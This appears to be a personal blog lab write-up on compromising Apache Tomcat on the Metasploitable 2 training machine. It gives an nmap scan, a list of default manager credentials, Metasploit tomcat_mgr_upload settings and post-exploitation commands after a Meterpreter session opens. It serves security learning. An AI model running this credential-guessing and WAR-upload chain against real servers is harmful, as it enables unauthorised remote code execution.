Back to blog
Jan 16, 2026
3 min read

Apache Tomcat Exploitation Report

Apache Tomcat is a web server and servlet container used to run Java-based web applications. It typically runs on **port 8180** in Metasploitable 2....

What is Apache Tomcat?

Apache Tomcat is a web server and servlet container used to run Java-based web applications. It typically runs on port 8180 in Metasploitable 2.

It is used for:

  • Hosting Java web apps
  • Running JSP (Java Server Pages)
  • Backend application logic

How Tomcat Works

Tomcat works as a web application server:

  1. Client sends HTTP request
  2. Tomcat processes JSP/Servlet code
  3. Server returns dynamic response

It also provides a manager interface for deploying applications.


Exploitation Methodology

Initial Recon (Nmap Scan)

nmap -sV 192.168.6.129

Pasted image 20260404145929.png

From the scan:

  • Port: 8180
  • Service: HTTP
  • Version: Apache Tomcat / Coyote JSP engine

Web Enumeration

Step 1: Open in browser

http://192.168.6.129:8180

Pasted image 20260404185806.png

Step 2: Access manager panel

http://192.168.6.129:8180/manager/html

Vulnerability Identified

Weak / Default Credentials

Tomcat often uses default credentials such as:

tomcat : tomcat
admin  : admin
tomcat : admin
admin  : tomcat

Exploitation Approach

Authentication + File Upload (WAR file)

If login is successful:

  • You can upload a malicious .war file
  • This leads to remote command execution

Pasted image 20260404185950.png

Exploit using Metasploit

Step 1: Start Metasploit

msfconsole

Step 2: Search Tomcat exploit

search tomcat

Pasted image 20260404190250.png Pasted image 20260404190323.png


Step 3: Use Tomcat manager exploit

use exploit/multi/http/tomcat_mgr_upload

Pasted image 20260404190400.png


Step 4: Set options

set RHOSTS 192.168.6.129
set RPORT 8180
set TARGETURI /manager/html
set USERNAME tomcat
set PASSWORD tomcat

Pasted image 20260404190544.png


Step 5: Run exploit

exploit

Result

  • WAR file uploaded
  • Meterpreter session opened
  • Remote code execution achieved

Post-Exploitation

Check system info

sysinfo

Get shell

shell

Proof of access

mkdir hack_tomcat